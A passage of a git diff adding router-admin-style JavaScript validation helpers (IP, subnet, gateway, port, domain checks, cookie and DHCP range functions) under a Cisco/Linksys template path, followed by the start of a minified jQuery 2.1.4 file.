new Array(4); + + for(i=1;i<5;i++) + m[i-1] = eval(N+"_"+i).value; + + if(m[0] == "0" && m[1] == "0" && m[2] == "0" && m[3] == "0"){ + if(flag & ZERO_NO){ +// alert("Illegal subnet mask!"); + alert(errmsg.err27); + return false; + } + else if(flag & ZERO_OK){ + return true; + } + } + + if(m[0] == "255" && m[1] == "255" && m[2] == "255" && m[3] == "255"){ + if(flag & BCST_NO){ +// alert("Illegal subnet mask!"); + alert(errmsg.err27); + return false; + } + else if(flag & BCST_OK){ + return true; + } + } + + for(i=3;i>=0;i--){ + for(j=1;j<=8;j++){ + if((m[i] % 2) == 0) match0 = (3-i)*8 + j; + else if(((m[i] % 2) == 1) && match1 == -1) match1 = (3-i)*8 + j; + m[i] = Math.floor(m[i] / 2); + } + } + if(match0 > match1){ +// alert("Illegal subnet mask!"); + alert(errmsg.err27); + return false; + } + return true; +} +function isdigit(I,M) +{ + for(i=0 ; i '9'){ +// alert(M +' have illegal characters, must be [ 0 - 9 ]'); +// alert(M + errmsg.err28); + alert(errmsg.err28); + I.value = I.defaultValue; + return false; + } + } + return true; +} +function isascii(I,M) +{ + for(i=0 ; i '~'){ +// alert(M +' have illegal ascii code!'); +// alert(M + errmsg.err29); + alert(errmsg.err29); + I.value = I.defaultValue; + return false; + } + } + return true; +} +function isxdigit(I,M) +{ + for(i=0 ; i= '0' && ch <= '9' || ch >= 'a' && ch <= 'f'){} + else{ +// alert(M +' have illegal hexadecimal digits!'); +// alert(M + errmsg.err30); + alert(errmsg.err30); + I.value = I.defaultValue; + return false; + } + } + return true; +} +function closeWin(var_win){ + if ( ((var_win != null) && (var_win.close)) || ((var_win != null) && (var_win.closed==false)) ) + var_win.close(); +} +function valid_ip(F,N,M1,flag){ + var m = new Array(4); + M = unescape(M1); + + for(i=0;i<4;i++) + m[i] = eval(N+"_"+i).value + + if(m[0] == 127 || m[0] == 224){ +// alert(M+" value is illegal!"); +// alert(M+ errmsg.err31); + alert(errmsg.err31); + return false; + } + + if(m[0] == "0" && m[1] == "0" && m[2] == "0" && m[3] == "0"){ + if(flag & ZERO_NO){ +// alert(M+' value is illegal!'); +// alert(M+ errmsg.err31); + alert(errmsg.err31); + return false; + } + } + + if((m[0] != "0" || m[1] != "0" || m[2] != "0") && m[3] == "0"){ + if(flag & MASK_NO){ +// alert(M+' value is illegal!'); +// alert(M+ errmsg.err31); + alert(errmsg.err31); + return false; + } + } + return true; +} +function valid_ip_one(F,N,M1,flag){ + var m = new Array(4); + M = unescape(M1); + + for(i=1;i<5;i++) + m[i-1] = eval(N+"_"+i).value + + if(m[0] == 127 || m[0] == 224){ +// alert(M+" value is illegal!"); +// alert(M+ errmsg.err31); + alert(errmsg.err31); + return false; + } + + if(m[0] == "0" && m[1] == "0" && m[2] == "0" && m[3] == "0"){ + if(flag & ZERO_NO){ +// alert(M+' value is illegal!'); +// alert(M+ errmsg.err31); + alert(errmsg.err31); + return false; + } + } + + if((m[0] != "0" || m[1] != "0" || m[2] != "0") && m[3] == "0"){ + if(flag & MASK_NO){ +// alert(M+' value is illegal!'); +// alert(M+ errmsg.err31); + alert(errmsg.err31); + return false; + } + } + return true; +} +function valid_ip_gw(F,I,N,G) +{ + var IP = new Array(4); + var NM = new Array(4); + var GW = new Array(4); + + for(i=0;i<4;i++) + IP[i] = eval(I+"_"+i).value + for(i=0;i<4;i++) + NM[i] = eval(N+"_"+i).value + for(i=0;i<4;i++) + GW[i] = eval(G+"_"+i).value + + for(i=0;i<4;i++){ + if((IP[i] & NM[i]) != (GW[i] & NM[i])){ +// alert("IP address and gateway is not at same subnet mask!"); + alert(errmsg.err32); + return false; + } + } + if((IP[0] == GW[0]) && (IP[1] == GW[1]) && (IP[2] == GW[2]) && (IP[3] == GW[3])){ +// alert("IP address and gateway can't be same!"); + alert(errmsg.err33); + return false; + } + + return true; +} +function valid_ip_gw_one(F,I,N,G) +{ + var IP = new Array(4); + var NM = new Array(4); + var GW = new Array(4); + + for(i=1;i<5;i++) + IP[i-1] = eval(I+"_"+i).value + for(i=1;i<5;i++) + NM[i-1] = eval(N+"_"+i).value + for(i=1;i<5;i++) + GW[i-1] = eval(G+"_"+i).value + + for(i=0;i<4;i++){ + if((IP[i] & NM[i]) != (GW[i] & NM[i])){ +// alert("IP address and gateway is not at same subnet mask!"); + alert(errmsg.err32); + return false; + } + } + if((IP[0] == GW[0]) && (IP[1] == GW[1]) && (IP[2] == GW[2]) && (IP[3] == GW[3])){ +// alert("IP address and gateway can't be same!"); + alert(errmsg.err33); + return false; + } + + return true; +} +function delay(gap) //gap is in millisecs +{ + var then,now; then=new Date().getTime(); + + now=then; + while((now-then) 0) { + begin = dc.indexOf(cookiename); + if (begin != -1) { + begin += cookiename.length; + end = dc.indexOf(";", begin); + if (end == -1) { + end = dc.length; + } + return unescape(dc.substring(begin, end)); + } + } + return null; +} + +function deleteCookie(name) { + document.cookie = name + "=; expires=Thu, 01-Jan-70 00:00:01 GMT" + "; path=/"; +} + +function IsEmpty(aText) +{ + if ( (aText.value.length==0) || (aText.value==null)) + { + return true ; + } + else + { + return false ; + } +} + +function IsCrossRange(n1,n2,n3,n4,p1,p2) +{ + // 1:TCP , 2:UDP , 0:BOTH + var a,b,c,d ; + a = parseInt(n1,10); + b = parseInt(n2,10); + c = parseInt(n3,10); + d = parseInt(n4,10); + if ( a==0 && b==0 && c==0 && d==0 ) return false ; + if ( p1!=p2 && p1!=0 && p2!=0 ) return false ; + if ( a<=c && b>=c && ((p1==0 || p2==0) || (p1==p2))) return true ; + if ( a<=d && b>=d && ((p1==0 || p2==0) || (p1==p2))) return true ; + if ( a>=c && b<=d && ((p1==0 || p2==0) || (p1==p2))) return true ; + return false ; +} + +//check ping ip or URL Fixed 04/16/2007 +function check_char(obj) +{ + for(i = 0; i < obj.length; i++) + { + ch = obj.charAt(i); + + if(ch.search(/^[A-Za-z0-9-]/i) == -1) + return true; + } + return false; +} + +function check_ip_domain(value) +{ + var count = 0; + var flag = 2; + + for(i = 0; i < value.length; i++) + { + ch = value.charAt(i); + if(ch == '.') + count++; + if(count > 3) + flag = false; + else if(ch.search(/^[0-9.]/i) == -1) + flag = true; + } + + if(flag == true) + return check_domain(value); + else if(flag == false) + return false; + + if(check_ip(value)) + return true; + else + return false; + +} + +function check_domain( domain_main) +{ + var sub_name; + var temp_firstchar; + var temp_endchar; + + if ( (domain_main.length==0) || (domain_main==null) || (domain_main.length > 256)) + return false; + else + { + temp_firstchar = domain_main.charAt(0); + temp_endchar = domain_main.charAt(domain_main.length-1); + + if((temp_firstchar.search(/^[A-Za-z0-9]/i) == -1) || + (temp_endchar.search(/^[A-Za-z0-9]/i) == -1)) + return false; + } + + sub_name = domain_main.split(/\./); + + if(sub_name.length < 3) + return false; + + for(var i = 0; i < sub_name.length; i++) + { + if((sub_name[i].length > 0) && (sub_name[i].length < 2) || (sub_name[i].length > 63)) + return false; + else if(check_char(sub_name[i])) + return false; + } + + return true; + +} + +function check_ip(ip_addr) +{ + var sub_ip; + var host_id; + + if (ip_addr.search(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) == -1) + return false; + + sub_ip = ip_addr.split(/\./); + if (sub_ip[0] >= 0xff || sub_ip[1] >= 0xff || sub_ip[2] >= 0xff || sub_ip[3] >= 0xff) + return false; + if(sub_ip[0] == 0 && sub_ip[1] == 0 && sub_ip[2] == 0 && sub_ip[3] == 0) + return false; + if(sub_ip[3] == 0 || sub_ip[3] == 255) + return false; + + if((sub_ip[0] == 127) && (sub_ip[1] == 0) && (sub_ip[2] == 0) && (sub_ip[3] == 1)) + return true; + + if(sub_ip[0] < 128) /* A class */ + { + if(sub_ip[0] == 0 || sub_ip[0] == 127) + return false; + host_id = sub_ip[1] * 0x10000 + sub_ip[2] * 0x100 + sub_ip[3] * 0x1; + + if(host_id == 0 || host_id == 0xffffff) + return false; + } + else if(sub_ip[0] < 192) /* B class */ + { + host_id = sub_ip[2] * 0x100 + sub_ip[3] * 0x1; + + if(host_id == 0 || host_id == 0xffff) + return false; + } + else if(sub_ip[0] < 224) /* C class */ + { + host_id = sub_ip[3] * 0x1; + + if(host_id == 0 || host_id == 0xff) + return false; + } + else /* Limit broadcast, Multicast net */ + { + return false; + } + return true; +} + +function string_break(len,src) +{ + var line = parseInt(src.length/len) ; + var i ,dst="" ; + if ( line == 0 ) return src; + if ( parseInt(src%len) != 0 ) line ++ ; + for(i=0; i"; + src = src.substring(len,src.length); + } + return dst ; +} + + +function chk_multi_port(F,count,starti,xfrom,xto,xport) +{ + var i=0,j=0; + var flg = true ; + for(i=0; i '9') + { + data = data.toUpperCase(); + for(i=0; i=0; i--) + { + sd[i] = parseInt(data%2); + data = parseInt(data/2); + } + return sd; +} + +function trans2to10(data) +{ + var num=0,i,j; + for(i=0; i<8; i++) + { + j = 7-i; + num = num + parseInt(data.charAt(j))*(1< 50 ) + RANGE_COUNT = 50; + else + RANGE_COUNT = iprange - 3 ; + + for(i=0; i= RANGE_COUNT ) + { + DHCP_START_IP[0] = st ; + DHCP_END_IP[0] = parseInt(DHCP_START_IP[0]) + parseInt(RANGE_COUNT) -1 ; + RANGE_SET = 1; + } + else + { + DHCP_START_IP[0] = st ; + DHCP_END_IP[0] = parseInt(lanip3)-1; + DHCP_START_IP[1] = parseInt(lanip3)+1; + DHCP_END_IP[1] = parseInt(DHCP_START_IP[1])+parseInt(RANGE_COUNT)-(parseInt(DHCP_END_IP[0])-parseInt(DHCP_START_IP[0]))-2; + RANGE_SET = 2 ; + return true; + } + } + } + } + } + return false ; +} + +function valid_subnet(F,I,N,G) +{ + var IP = new Array(4); + var NM = new Array(4); + var GW = new Array(4); + + for(i=0;i<4;i++) + IP[i] = eval(I+"_"+i).value + for(i=0;i<4;i++) + NM[i] = eval(N+"_"+i).value + for(i=0;i<4;i++) + GW[i] = eval(G+"_"+i).value + + for(i=0;i<4;i++){ + if((IP[i] & NM[i]) != (GW[i] & NM[i])){ + return false; + } + } + return true; +} + +function valid_subnet_one(F,I,N,G) +{ + var IP = new Array(4); + var NM = new Array(4); + var GW = new Array(4); + + for(i=1;i<5;i++) + IP[i-1] = eval(I+"_"+i).value + for(i=1;i<5;i++) + NM[i-1] = eval(N+"_"+i).value + for(i=0;i<4;i++) + GW[i] = eval(G+"_"+i).value + + for(i=0;i<4;i++){ + if((IP[i] & NM[i]) != (GW[i] & NM[i])){ + return false; + } + } + return true; +} + + +function layerWrite(id,nestref,text) +{ + if(ns4) + { + var lyr = (nestref)? eval('document.'+nestref+'.document.'+id+'.document') : document.layers[id].document ; + lyr.open(); + lyr.write(text); + lyr.close(); + } + else if (ie4) + document.all[id].innerHTML = text ; + else if(ns6) + document.getElementById(id).innerHTML = text ; +} + +function chkisValidIP (addr) +{ + var sub_addr; + var net_id; + var host_id; + + if (addr.search(/^\d{1,3}\.\d{1,3}\.\d{1,3}\./) == -1) + return false; + sub_addr = addr.split(/\./); + if(sub_addr.length < 4) return false; + if(sub_addr[3] == "*") + sub_addr[3] = "1"; + else + { + if(isNaN(sub_addr[3]) == true) return false; + } + + if (sub_addr[0] > 0xff || sub_addr[1] > 0xff || sub_addr[2] > 0xff || sub_addr[3] > 0xff) + return false; + + if(sub_addr[0] < 128) /* A class */ + { + if(sub_addr[0] == 0 || sub_addr[0] == 127) + return false; + host_id = sub_addr[1] * 0x10000 + sub_addr[2] * 0x100 + sub_addr[3] * 0x1; + if(host_id == 0 || host_id == 0xffffff) + return false; + } + else if(sub_addr[0] < 192) /* B class */ + { + host_id = sub_addr[2] * 0x100 + sub_addr[3] * 0x1; + if(host_id == 0 || host_id == 0xffff) + return false; + } + else if(sub_addr[0] < 224) /* C class */ + { + host_id = sub_addr[3] * 0x1; + if(host_id == 0 || host_id == 0xff) + return false; + } + else /* Limit broadcast, Multicast net */ + { + return false; + } + + return true; +} + +function isBlank(s) +{ + for(i=0;i 57)) + return true; + } + return false; +} + +function isNegInt(s) +{ + if (s<0) + return true; + else + return false; +} + +function isNValidPort(s) { + if((isBlank(s))||(isNaN(s))||(isNValidInt(s))||(isNegInt(s))||(s<1||s>65535)) + return true; + else + return false; +} + +function trim(s) +{ + var v; + v = s.replace(/^\s+|\s+$/g, ""); + return v; +} + +function rtl(t,a,p,rtl) +{ + var rtla; + if(a=="left") + rtla="right"; + else + rtla="left"; + + if(rtl) + document.write("<"+t+" align="+rtla+" "+p+">"); + else + document.write("<"+t+" align="+a+" "+p+">"); +} + +function rtlUI_04(rtl) +{ + document.write((rtl?"":"")) +} + +function rtlUI_05(rtl) +{ + document.write((rtl?"":"")) +} diff --git a/Sites/Template/cisco_linksys/js/jquery-2.1.4.min.js b/Sites/Template/cisco_linksys/js/jquery-2.1.4.min.js new file mode 100644 index 0000000..49990d6 --- /dev/null +++ b/Sites/Template/cisco_linksys/js/jquery-2.1.4.min.js @@ -0,0 +1,4 @@ +/*! jQuery v2.1.4 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b="length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ba=/'|\\/g,ca=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),da=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(ba,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",ea,!1):e.attachEvent&&e.attachEvent("onunload",ea)),p=!f(g),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||"").replace(ca,da),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var 